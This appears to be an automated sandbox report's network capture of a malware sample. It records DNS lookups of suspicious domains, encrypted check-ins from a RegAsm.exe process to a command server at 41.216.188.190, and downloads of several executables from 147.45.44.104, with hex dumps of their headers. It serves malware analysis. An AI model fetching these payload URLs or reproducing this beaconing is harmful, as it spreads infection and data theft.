Sep 21, 2024 13:34:12.924277067 CEST	1.1.1.1	192.168.2.9	0xb4d5	No error (0)	tventyvf20pt.top		5.53.124.195	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:40.930625916 CEST	1.1.1.1	192.168.2.9	0x881	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:20.266491890 CEST	1.1.1.1	192.168.2.9	0x1879	Name error (3)	sentistivowmi.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:39.870846987 CEST	1.1.1.1	192.168.2.9	0xa1c2	No error (0)	questionmwq.shop		172.67.204.62	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:39.870846987 CEST	1.1.1.1	192.168.2.9	0xa1c2	No error (0)	questionmwq.shop		104.21.85.92	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:40.085901976 CEST	1.1.1.1	192.168.2.9	0xc45f	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:43.860799074 CEST	1.1.1.1	192.168.2.9	0x3324	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49705	41.216.188.190	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:33.017230034 CEST	204	OUT	GET /api/wp-ping.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 41.216.188.190
Sep 21, 2024 13:33:33.773772955 CEST	259	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Sep 21, 2024 13:33:37.361995935 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Sep 21, 2024 13:33:37.362059116 CEST	133	OUT	Data Raw: 64 61 74 61 3d 35 44 49 59 41 4a 49 5f 6f 47 71 6c 69 5a 30 47 4d 61 72 39 6e 53 53 58 66 52 6d 31 66 37 68 47 4d 6b 4c 34 36 75 36 6c 53 33 47 76 34 2d 42 38 56 4c 30 36 36 77 44 77 65 45 71 58 78 38 30 2d 38 62 79 4c 6f 6a 64 75 45 65 71 47 42 Data Ascii: data=5DIYAJI_oGqliZ0GMar9nSSXfRm1f7hGMkL46u6lS3Gv4-B8VL066wDweEqXx80-8byLojduEeqGB_dL9d4AO3a05z7k9_9ylkjAwjOBeXKEjhac8Dj_aFRTZwMYnhRF
Sep 21, 2024 13:33:38.069564104 CEST	362	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6d 50 61 2b 70 56 39 67 4b 50 6e 6e 43 75 78 66 51 39 68 39 6a 4e 64 43 61 36 65 59 72 41 2f 68 33 79 70 35 43 73 73 51 43 46 35 43 48 50 38 79 72 57 63 38 34 61 61 48 61 2b 61 56 46 77 79 78 68 49 54 47 6b 2f 73 72 64 65 41 47 6e 6a 41 66 41 42 77 59 36 2b 6b 75 75 78 50 52 45 37 70 33 73 44 51 36 37 4a 79 34 34 47 51 3d Data Ascii: mPa+pV9gKPnnCuxfQ9h9jNdCa6eYrA/h3yp5CssQCF5CHP8yrWc84aaHa+aVFwyxhITGk/srdeAGnjAfABwY6+kuuxPRE7p3sDQ67Jy44GQ=
Sep 21, 2024 13:33:38.201370001 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Sep 21, 2024 13:33:38.201390028 CEST	133	OUT	Data Raw: 64 61 74 61 3d 6a 39 67 43 35 74 2d 61 37 71 7a 41 34 35 39 38 64 4f 56 37 75 4a 4f 76 41 72 62 62 5a 73 30 64 41 68 4d 4c 4b 6d 39 79 43 75 61 54 42 50 30 78 4f 50 34 46 4a 5a 32 45 6a 53 5f 73 4c 77 45 74 71 55 6f 63 2d 61 51 50 6c 2d 56 4f 5a Data Ascii: data=j9gC5t-a7qzA4598dOV7uJOvArbbZs0dAhMLKm9yCuaTBP0xOP4FJZ2EjS_sLwEtqUoc-aQPl-VOZWPDT6z5fTe0LCvGnz4z1yCJiizEA90u9K02kTIWzfeMFZHuYXpb
Sep 21, 2024 13:33:39.208544016 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 2368 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 34 31 64 44 57 69 4b 64 42 2f 64 76 64 72 35 61 6b 4f 57 38 74 6e 6f 56 30 69 75 64 53 34 63 44 39 51 49 32 74 62 74 4e 55 76 58 31 38 74 71 59 47 62 69 74 6d 78 31 79 43 41 61 58 4b 5a 7a 59 47 73 58 5a 71 47 54 39 6c 75 74 65 68 44 65 75 4a 48 36 55 59 54 31 7a 45 56 49 6d 38 34 54 52 64 4b 75 79 69 74 56 67 69 6b 32 4d 4c 69 73 37 4d 61 56 52 6b 72 33 37 5a 50 48 47 42 32 62 61 58 66 30 75 75 52 79 36 54 45 36 2b 6b 48 51 47 34 65 48 38 35 66 35 73 4b 65 50 79 70 78 32 44 36 47 33 4a 32 59 49 45 4f 6f 6e 48 54 4e 71 67 2b 4e 66 77 4e 51 37 34 77 73 49 42 71 78 77 57 6d 35 39 75 4b 2f 55 6f 36 78 6e 79 57 47 44 2f 38 4e 33 53 69 37 53 4c 44 76 6e 31 57 61 4c 49 4a 6f 63 49 6e 4b 55 76 67 75 33 31 4d 57 70 74 70 43 61 35 57 44 54 36 65 75 52 59 47 70 72 35 4f 4c 4a 50 63 57 49 46 2f 7a 30 46 2f 32 50 41 4c 75 37 55 7a 65 64 32 32 6c 6a 30 71 33 49 56 6e 32 48 43 57 34 5a 72 34 47 38 78 4b 59 61 30 71 34 4a 47 50 58 45 38 30 4c 31 6c 48 76 76 6f 71 6b 63 43 5a 56 53 72 48 32 57 68 7a 33 56 7a 62 [TRUNCATED] Data Ascii: R41dDWiKdB/dvdr5akOW8tnoV0iudS4cD9QI2tbtNUvX18tqYGbitmx1yCAaXKZzYGsXZqGT9lutehDeuJH6UYT1zEVIm84TRdKuyitVgik2MLis7MaVRkr37ZPHGB2baXf0uuRy6TE6+kHQG4eH85f5sKePypx2D6G3J2YIEOonHTNqg+NfwNQ74wsIBqxwWm59uK/Uo6xnyWGD/8N3Si7SLDvn1WaLIJocInKUvgu31MWptpCa5WDT6euRYGpr5OLJPcWIF/z0F/2PALu7Uzed22lj0q3IVn2HCW4Zr4G8xKYa0q4JGPXE80L1lHvvoqkcCZVSrH2Whz3Vzbd4HowVj+AWc3arxGNr3Mkr91Un7xlHJKE4kWXG1RYb8bVqEdTEeXhQAYC+C2EKqgP1QyTqlNAlFJNLmgkvDejVy2JECsHxiALy5gplyh46vzgq6NTULmwrZJiWpbWG0fLiDPtQKbxFZU3Nd3c12KC+iWlg8TedgK+JSrruqGXFP0HeQJtuW3BI+RSZFbPj3sTUS5WI2+MyPsWuG4b1jYSDybNW6jn405mVzne2peYwNs5xZDeyvq1vzUKCNTmsqvahkS3ArN/1vInOOEXcQnP/+7yRmxCUBW6zykLTqii/4Gfo3p4JiSQ7PPp1Q0jF92dqUEuWjYZ3fhIRBD/uBqBzgfkeLIWisEFhB3+cxP4UCpezlLV19en1t4y7G4i9+JfNPLFhWmmdxKVVwWYiFuZ6YDe/wSrYaIuirrYo4e7wh0RISjPo3Ph0Bl8c9g5OzWpuEHizyWVdZG+z/cJA81GuVfLDy/EWzaNZqTu46jSu9Xwqiw8xcuQIZawF17lUMYZIgiXnijCkyLZovHxW7dUKb0sMwEPbPd9Wq/Ey0zaNXYSpwpv7QBsVQqyIkHJBlNo59MO7UKmfq11orb61Ufmm27c4P2bLDqo+bU/yc7Zkp5feKT56QGhOETfS1Rb357n7Q
Sep 21, 2024 13:33:39.208564043 CEST	1236	IN	Data Raw: 39 41 76 37 56 78 63 7a 52 4b 38 59 46 54 77 35 52 4d 75 76 75 7a 34 6d 6b 45 4b 66 45 6a 31 58 78 63 36 6d 58 45 63 77 4c 53 4c 64 4c 72 44 5a 64 6f 65 2b 78 2f 75 2f 30 72 50 65 55 59 43 31 4f 4e 35 41 69 37 76 7a 63 50 43 50 39 75 68 2f 41 7a Data Ascii: 9Av7VxczRK8YFTw5RMuvuz4mkEKfEj1Xxc6mXEcwLSLdLrDZdoe+x/u/0rPeUYC1ON5Ai7vzcPCP9uh/Azt7k965TQEC0q3EMVTJkIWpGdeuyvxISuszvcOxChQD9/NUM6f7MFRiSWc3gehk4BlND6tmV0ueW3nfRXUvpRY/p/8vNFzOrQfSNKPLDT+iUKYpCIFE9EEmC4PwiOFm6acZvQujx9ZdObF9ggWtrNwDtbKqD6aQgr1
Sep 21, 2024 13:33:39.208578110 CEST	151	IN	Data Raw: 6d 79 50 43 4d 31 6c 77 6a 51 36 62 35 66 33 47 4c 36 6e 65 4a 57 35 31 32 55 46 41 6c 74 39 6d 49 56 2b 4c 43 6d 63 61 4a 68 45 49 59 6d 50 32 5a 56 4e 68 53 4e 37 38 30 39 68 69 6a 69 4f 6b 41 65 31 66 4d 55 51 56 52 45 4f 4b 47 57 43 4f 56 47 Data Ascii: myPCM1lwjQ6b5f3GL6neJW512UFAlt9mIV+LCmcaJhEIYmP2ZVNhSN7809hijiOkAe1fMUQVREOKGWCOVG4Vm++g9AqcgjDesJneoIjfFFc7jVMa+NViXUqNCxJRJM1YJJxV3OvcJzlPFFrpQwXO34q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	147.45.44.104	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.185796022 CEST	217	OUT	HEAD /prog/66e705d09b33c_jack.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:40.816390991 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:40 GMT Content-Type: application/octet-stream Content-Length: 4249600 Last-Modified: Sun, 15 Sep 2024 16:05:36 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e705d0-40d800" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:40.817049026 CEST	227	OUT	HEAD /lopsa/66ebb3bf78bd6_Send.exe#111us300 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.109206915 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:40 GMT Content-Type: application/octet-stream Content-Length: 3037032 Last-Modified: Thu, 19 Sep 2024 05:16:47 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ebb3bf-2e5768" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:41.109826088 CEST	220	OUT	HEAD /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.293134928 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 11496960 Last-Modified: Wed, 18 Sep 2024 05:25:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ea6451-af6e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:41.293427944 CEST	238	OUT	HEAD /yuop/66eea6336b153_app16540406983468141987.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.483829021 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 331640 Last-Modified: Sat, 21 Sep 2024 10:55:47 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66eea633-50f78" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:41.484131098 CEST	223	OUT	GET /yuop/66edb89bc4073_crypted.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.675546885 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 361336 Last-Modified: Fri, 20 Sep 2024 18:02:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66edb89b-58378" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0d b7 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 50 05 00 00 08 00 00 00 00 00 00 ee 6e 05 00 00 20 00 00 00 80 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 6e 05 00 53 00 00 00 00 80 05 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 5a 05 00 78 29 00 00 00 a0 05 00 0c 00 00 00 60 6d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELfPn @ `nSZx)`m H.textN P `.rsrcR@@.relocX@BnH^$spkTa\|K?wN-mEC9-#f=5spJzs_4vZUOwbnesRv@sO4] VLTV[XvF\|hI*$<gbv-Cm<[6R8!m'?jW`JI!k,O<9WXLEq !Q$@,99~%(\\|B#a wZV9kFZl[OtGz&c
Sep 21, 2024 13:33:41.675601006 CEST	1236	IN	Data Raw: 0d 79 6b 26 85 4e 87 92 3b ca 93 07 cf d8 f9 b2 83 e6 54 f8 66 68 d5 84 5d 5a d0 25 83 ca fd 81 29 04 3d 03 c5 a7 a1 2d c1 49 67 0d d0 54 14 8b 15 d9 8d 2a 31 cf 21 a1 a4 7a 80 ca cb 45 a3 a2 a9 39 87 be b0 e3 cb 78 e6 f5 3b c5 41 6d 12 45 f9 15 Data Ascii: yk&N;Tfh]Z%)=-IgT1!zE9x;AmE(r&Z!r_+=zwC6V3lk#fk^vrTGWK8FP8TROZ&zmz!7I<BeDa5p0x~U b
Sep 21, 2024 13:33:41.675636053 CEST	1236	IN	Data Raw: fe b0 b1 d7 aa c7 5f ce cd 9e 2a 2f 2a c2 ac bc 04 5e 50 46 af ab 97 b4 16 8c 71 7d 9a 36 72 59 63 05 a9 d6 0e f2 fe 83 10 53 d8 29 76 ff 8c 4e fd bf ab 34 bc bd 4b 39 55 50 c2 5d cf 6f 33 bb 23 cb f9 a0 cd 22 7c e7 e4 d6 92 6d 7c 8e c3 00 25 11 Data Ascii: _/^PFq}6rYcS)vN4K9UP]o3#"\|m\|%%{=Ug[ YX]S1[je1C\Zt[TM&iHB$ce\]+cZ6hfu4g^7hj/\6tZAkZ+PV:Gk
Sep 21, 2024 13:33:41.675668955 CEST	1236	IN	Data Raw: 4c 1b 2a 49 13 45 c4 c2 1f 20 dc cf f6 c1 1d a6 9e 79 02 0f ed 34 76 07 99 15 89 04 77 da d1 f9 2b 99 34 59 4f 82 8a 8c d8 24 71 ac 6c b2 ae f1 3e 11 de b0 90 3d 01 7b 46 b7 07 9f 9a 27 1d 1e 14 f0 eb 8a 76 9f dc 96 97 98 f0 60 c4 19 15 15 58 a0 Data Ascii: LIE y4vw+4YO$ql>={F'v`X[z[S;?>`]K'#\|`N/^+,%XuK)0>\EB$bbh@w.Vt4>=w~ MTK@&SSYyb>-Z6:Xy!x~
Sep 21, 2024 13:33:41.675704002 CEST	1236	IN	Data Raw: f3 96 4c ec 8a 5c c0 68 63 a2 5e 40 99 a5 58 9b 92 dc 68 93 53 c4 30 01 a0 e2 34 53 d9 83 e9 42 22 d1 ba e6 a2 56 a3 f3 de 98 89 6a d1 e0 9e 10 7d 15 9e fe 39 04 87 43 8d 18 49 85 1a 48 5f b2 41 11 98 5d 9a 33 07 e8 12 36 48 2f 30 6b 37 ac 96 b8 Data Ascii: L\hc^@XhS04SB"Vj}9CIH_A]36H/0k7)ydufQbI~GEZOC1+r!3D1o4GIVBL:x{\|1*(~ii9jN{p,:6v~M.+!#M+iSUvaW<=
Sep 21, 2024 13:33:41.675762892 CEST	1236	IN	Data Raw: 3a 0d 55 a5 9e dd 66 e3 1e 9b 3a 69 7e fa d1 c0 bc 88 81 a8 82 49 d3 51 a9 29 70 e1 ec e9 1c a6 4d 3e ff 45 b6 f9 4d c9 90 c4 72 f5 ce 0a 58 ea e3 4c 45 10 eb 15 09 36 27 f3 a2 9a bb 1c 3d f0 7c 32 a7 cf 88 cc 4a 7f 2a cc 2c 54 b8 aa dc 4c 56 1f Data Ascii: :Uf:i~IQ)pM>EMrXLE6'=\|2J,TLV.?8o~w2~w8(ws'NJ(Yh_aNJG@V]jm/\l+!^FZ8WUEEV}hj2zQriJCE5,fzYjRQ*iN_w
Sep 21, 2024 13:33:41.675815105 CEST	1236	IN	Data Raw: c7 16 48 cf 70 50 db a0 59 01 59 fe bb f4 7a ac 92 d0 e5 8a 89 15 0a fa dd 3d 3d 00 eb 15 08 77 6c 9d 16 7e 5d f3 10 3c 54 7d ca 67 8e 3c ac 1f 5b ff b5 bd 73 ec a1 3a 22 18 e4 c2 2a 1e 8f cf 13 4f ab 61 2a 57 bb de 13 d2 a7 2b 9e 7f 8b ac 56 1d Data Ascii: HpPYYz==wl~]<T}g<[s:"OaW+VW;V`gafB}o6@^'I__-aFeVXVRWU-TT09=O:/F\|X)?j.`H>'#sv^Qb>K#GKu)SH/C
Sep 21, 2024 13:33:41.675848961 CEST	1236	IN	Data Raw: bd 90 19 ee f5 b2 9e b3 48 dc fa 2d c5 5e 8c 44 50 27 9d 68 6b 0c 87 bd 68 87 af 23 3f 80 ae 7d e5 78 e9 a1 3b b7 a0 97 39 df 6b a6 04 01 b8 97 a0 46 14 20 35 86 fa b5 51 8c a6 e5 69 bb 59 f3 08 bd e2 ec b9 91 1e 3f f1 d9 dc 8d 74 07 00 22 82 6a Data Ascii: H-^DP'hkh#?}x;9kF 5QiY?t"jPSX@p=!L9462[6L'Mq_Fu4x2a Lnh)@D!ng' 1}ri1868 R*R[zV];"(@
Sep 21, 2024 13:33:41.675884008 CEST	1236	IN	Data Raw: 75 56 7d 7a e1 41 3b cb 20 ab c0 f6 26 2e 8a 6c d1 08 36 c2 db 18 30 bb 9e 0b fc 7d ff de 72 c0 45 e6 e5 48 4b b5 08 bf b8 28 b3 d8 63 04 78 13 08 32 93 25 a0 20 54 d6 b4 65 63 b9 18 1f 2e 36 4c 6a b3 c8 95 c4 e1 57 c9 97 a9 94 29 18 e4 91 98 7f Data Ascii: uV}zA; &.l60}rEHK(cx2% Tec.6LjW)n9ZeZ7vqB&LI!-&w=SO7Gf)tR'{q0QC+3+o[~9Ax \04~,^=hOFI>Er\|
Sep 21, 2024 13:33:41.675916910 CEST	1236	IN	Data Raw: 28 b9 36 75 08 2c e4 6a 8f 69 0c b0 b2 2f 02 65 83 8d ea 62 26 05 60 ea 38 10 5b be 06 05 1a 48 92 20 3c db 3f f5 ef 85 ce ba 6c 0a ea 18 ac 2e 91 f5 bf ea fe 6b e5 31 1a d1 f4 e8 53 b0 31 46 b9 54 4c ed f5 a8 f5 4a e7 86 5d 91 66 1d 07 bc 0f 3b Data Ascii: (6u,ji/eb&`8[H <?l.k1S1FTLJ]f;9GI(#vFv Qw\c H+9IC5fj !"\|qTxK6bJ9}\(L:3fRLR7YE'%X
Sep 21, 2024 13:33:41.675951004 CEST	1236	IN	Data Raw: 73 22 d9 12 37 9d a7 2c 74 05 c3 89 63 a3 07 10 b7 c6 fe e6 97 64 09 51 0f 93 18 28 6b 0d 2f c7 24 1e de 03 c4 b1 a0 37 0f 09 72 7a b5 11 cc cc ea f4 b5 14 42 b7 e3 c1 09 70 13 62 4f 4c a6 ed 01 ee 0b b8 f6 5a c3 f4 17 8e f5 23 f1 4d b1 a9 8e ac Data Ascii: s"7,tcdQ(k/$7rzBpbOLZ#M7dWE8rzm ]'bz{}{[]ee>g*UR2Dp)L%K[k_S2>I~o&z7}:8[RKe2D-W#y
Sep 21, 2024 13:33:42.139751911 CEST	226	OUT	GET /lopsa/66ebb3bf78bd6_Send.exe#111us300 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:42.362787008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:42 GMT Content-Type: application/octet-stream Content-Length: 3037032 Last-Modified: Thu, 19 Sep 2024 05:16:47 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ebb3bf-2e5768" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba f7 20 98 fe 96 4e cb fe 96 4e cb fe 96 4e cb f7 ee dd cb ec 96 4e cb 60 36 89 cb ff 96 4e cb 1b cf 4b ca fc 96 4e cb 23 69 80 cb fa 96 4e cb 23 69 85 cb f0 96 4e cb c5 c8 4d ca f8 96 4e cb c5 c8 4a ca f0 96 4e cb c5 c8 4b ca df 96 4e cb c5 c8 4f ca f8 96 4e cb d9 50 35 cb fc 96 4e cb 69 c8 4f ca d3 96 4e cb fe 96 4f cb 3a 9d 4e cb 69 c8 4b ca a1 96 4e cb 69 c8 4e ca ff 96 4e cb 6c c8 b1 cb ff 96 4e cb fe 96 d9 cb ff 96 4e cb 69 c8 4c ca ff 96 4e cb 52 69 63 68 fe 96 4e cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 81 9f 25 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 [TRUNCATED] Data Ascii: MZ@8!L!This program cannot be run in DOS mode.$ NNNN`6NKN#iN#iNMNJNKNONP5NiONO:NiKNiNNlNNiLNRichNPEL%`8$P@.!@%T\ f>.h)TD*)@P..text@8 `.rdata0P(<@@.datand@.tls@.gfids@@.rsrcf h@@
Sep 21, 2024 13:33:44.490238905 CEST	227	OUT	GET /yuop/66ee79315857f_setup33333.exe#lyla HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:44.675597906 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:44 GMT Content-Type: application/octet-stream Content-Length: 418816 Last-Modified: Sat, 21 Sep 2024 07:43:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ee7931-66400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d ba df d9 09 db b1 8a 09 db b1 8a 09 db b1 8a 66 ad 1a 8a 1b db b1 8a 66 ad 2f 8a 06 db b1 8a 66 ad 1b 8a 5c db b1 8a 00 a3 22 8a 02 db b1 8a 09 db b0 8a 86 db b1 8a 66 ad 1e 8a 08 db b1 8a 66 ad 2b 8a 08 db b1 8a 66 ad 2c 8a 08 db b1 8a 52 69 63 68 09 db b1 8a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 12 f6 25 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 48 03 00 00 b4 04 02 00 00 00 00 7e 3e 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 07 02 00 04 00 00 c5 b4 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Mff/f\"ff+f,RichPEL%dH~>`@JxLK*@$.textjGH `.data`ZL@.rsrc@@
Sep 21, 2024 13:33:44.937274933 CEST	216	OUT	GET /yuop/66ed9885d9aee_Day2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:45.120740891 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:45 GMT Content-Type: application/octet-stream Content-Length: 3141632 Last-Modified: Fri, 20 Sep 2024 15:45:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ed9885-2ff000" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b2 1e 9f cc 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 0a 29 00 00 e2 06 00 00 00 00 00 ee 29 29 00 00 20 00 00 00 40 29 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 30 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 